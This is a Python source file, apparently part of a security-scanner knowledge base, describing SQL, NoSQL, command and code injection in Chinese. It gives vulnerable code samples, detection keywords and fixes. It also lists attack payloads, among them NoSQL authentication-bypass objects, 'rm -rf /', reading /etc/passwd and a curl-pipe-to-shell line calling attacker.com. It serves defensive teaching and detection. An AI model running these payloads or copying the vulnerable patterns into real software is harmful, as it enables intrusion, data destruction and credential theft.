""" 注入类漏洞知识 """ from ..base import KnowledgeDocument, KnowledgeCategory SQL_INJECTION = KnowledgeDocument( id="vuln_sql_injection", title="SQL Injection", category=KnowledgeCategory.VULNERABILITY, tags=["sql", "injection", "database", "input-validation", "sqli"], severity="critical", cwe_ids=["CWE-89"], owasp_ids=["A03:2021"], content=""" SQL注入是一种代码注入技术,攻击者通过在应用程序查询中插入恶意SQL代码来操纵数据库。 ## 危险模式 ### Python ```python # 危险 - 字符串拼接 query = "SELECT * FROM users WHERE id = " + user_id cursor.execute(f"SELECT * FROM users WHERE name = '{name}'") query = "SELECT * FROM users WHERE id = %s" % user_id # 危险 - ORM原始查询 User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'") db.execute(text(f"SELECT * FROM users WHERE id = {user_id}")) ``` ### JavaScript/Node.js ```javascript // 危险 const query = `SELECT * FROM users WHERE id = ${userId}`; connection.query("SELECT * FROM users WHERE name = '" + name + "'"); ``` ### Java ```java // 危险 String query = "SELECT * FROM users WHERE id = " + userId; Statement stmt = conn.createStatement(); stmt.executeQuery(query); ``` ## 检测关键词 - execute, query, raw, cursor - SELECT, INSERT, UPDATE, DELETE - 字符串拼接 (+, f-string, format, %) - WHERE, AND, OR 后跟变量 ## 安全实践 1. 使用参数化查询/预编译语句 2. 使用ORM框架的安全API 3. 输入验证和类型检查 4. 最小权限原则 5. 使用存储过程 ## 修复示例 ```python # 安全 - 参数化查询 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) # 安全 - ORM User.objects.filter(id=user_id) # 安全 - SQLAlchemy db.query(User).filter(User.id == user_id) ``` ## 验证方法 1. 尝试单引号 ' 触发语法错误 2. 使用 OR 1=1 测试布尔注入 3. 使用 SLEEP() 测试时间盲注 4. 检查错误信息是否泄露数据库信息 """, ) NOSQL_INJECTION = KnowledgeDocument( id="vuln_nosql_injection", title="NoSQL Injection", category=KnowledgeCategory.VULNERABILITY, tags=["nosql", "mongodb", "injection", "database"], severity="high", cwe_ids=["CWE-943"], owasp_ids=["A03:2021"], content=""" NoSQL注入针对MongoDB等NoSQL数据库,通过操纵查询对象来绕过认证或提取数据。 ## 危险模式 ### MongoDB (Python) ```python # 危险 - 直接使用用户输入构建查询 db.users.find({"username": username, "password": password}) # 攻击者可传入 {"$ne": ""} 绕过认证 # 危险 - $where操作符 db.users.find({"$where": f"this.name == '{name}'"}) ``` ### MongoDB (Node.js) ```javascript // 危险 db.collection('users').find({username: req.body.username}); // 攻击者可传入 {$gt: ""} 或 {$ne: null} ``` ## 攻击载荷示例 ```json // 绕过认证 {"username": {"$ne": ""}, "password": {"$ne": ""}} {"username": {"$gt": ""}, "password": {"$gt": ""}} // 正则注入 {"username": {"$regex": "^admin"}} ``` ## 安全实践 1. 验证输入类型(确保是字符串而非对象) 2. 使用白名单验证 3. 避免使用$where操作符 4. 使用mongoose等ODM的类型验证 ## 修复示例 ```python # 安全 - 类型验证 if not isinstance(username, str): raise ValueError("Invalid username type") db.users.find({"username": str(username)}) ``` """, ) COMMAND_INJECTION = KnowledgeDocument( id="vuln_command_injection", title="Command Injection", category=KnowledgeCategory.VULNERABILITY, tags=["command", "injection", "shell", "os", "system", "rce"], severity="critical", cwe_ids=["CWE-78"], owasp_ids=["A03:2021"], content=""" 命令注入允许攻击者在主机操作系统上执行任意命令,可能导致完全系统控制。 ## 危险模式 ### Python ```python # 危险 os.system("ping " + user_input) os.popen("ls " + directory) subprocess.call("ls " + directory, shell=True) subprocess.Popen(cmd, shell=True) commands.getoutput("cat " + filename) # 危险 - eval/exec eval(user_input) exec(user_code) ``` ### Node.js ```javascript // 危险 exec("ls " + userInput); execSync(`cat ${filename}`); spawn("sh", ["-c", userCommand]); ``` ### PHP ```php // 危险 system("ping " . $ip); exec("cat " . $file); shell_exec($cmd); passthru($command); ``` ## 攻击载荷 ```bash ; ls -la | cat /etc/passwd `whoami` $(id) && rm -rf / || curl attacker.com/shell.sh | sh ``` ## 安全实践 1. 避免使用shell=True 2. 使用参数列表而非字符串 3. 输入验证和白名单 4. 使用安全的替代API 5. 沙箱执行 ## 修复示例 ```python # 安全 - 参数列表 subprocess.run(["ping", "-c", "4", validated_host], shell=False) # 安全 - shlex转义 import shlex subprocess.run(shlex.split(f"ping -c 4 {shlex.quote(host)}")) ``` """, ) CODE_INJECTION = KnowledgeDocument( id="vuln_code_injection", title="Code Injection", category=KnowledgeCategory.VULNERABILITY, tags=["code", "injection", "eval", "exec", "rce"], severity="critical", cwe_ids=["CWE-94"], owasp_ids=["A03:2021"], content=""" 代码注入允许攻击者注入并执行任意代码,通常通过eval()等动态执行函数。 ## 危险模式 ### Python ```python # 危险 eval(user_input) exec(user_code) compile(user_code, '', 'exec') # 危险 - 模板注入 template = Template(user_input) render_template_string(user_input) ``` ### JavaScript ```javascript // 危险 eval(userInput); new Function(userCode)(); setTimeout(userCode, 1000); setInterval(userCode, 1000); ``` ### PHP ```php // 危险 eval($code); assert($code); preg_replace('/e', $code, $input); // PHP < 7 create_function('', $code); ``` ## 安全实践 1. 永远不要eval用户输入 2. 使用AST解析代替eval 3. 使用沙箱环境 4. 白名单允许的操作 ## 修复示例 ```python # 安全 - 使用ast.literal_eval处理数据 import ast data = ast.literal_eval(user_input) # 只允许字面量 # 安全 - 使用json解析 import json data = json.loads(user_input) ``` """, )